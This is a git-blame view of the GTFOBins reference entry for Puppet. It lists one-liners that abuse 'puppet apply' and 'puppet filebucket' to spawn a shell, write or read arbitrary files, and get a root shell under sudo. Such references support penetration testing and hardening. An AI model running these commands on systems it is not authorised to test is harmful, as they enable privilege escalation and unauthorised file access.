1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-09-20 02:42:45 +02:00
GTFOBins.github.io/_gtfobins/puppet.md

20 lines
660 B
Markdown
Raw Normal View History

2018-06-02 14:29:54 +02:00
---
functions:
2018-10-05 19:55:38 +02:00
shell:
- code: |
puppet apply -e "exec { '/bin/sh -c \"exec sh -i <$(tty) >$(tty) 2>$(tty)\"': }"
2018-06-02 14:29:54 +02:00
file-write:
2018-07-16 15:01:50 +02:00
- description: The file path must be absolute.
code: |
LFILE="/tmp/file_to_write"
puppet apply -e "file { '$LFILE': content => 'DATA' }"
2018-07-04 20:26:52 +02:00
file-read:
2018-07-16 15:01:50 +02:00
- description: The read file content is corrupted by the `diff` output format. The actual `/usr/bin/diff` command is executed.
code: |
LFILE=file_to_read
2018-07-16 15:01:50 +02:00
puppet filebucket -l diff /dev/null $LFILE
2018-10-05 19:55:38 +02:00
sudo:
- code: |
sudo puppet apply -e "exec { '/bin/sh -c \"exec sh -i <$(tty) >$(tty) 2>$(tty)\"': }"
2018-06-02 14:29:54 +02:00
---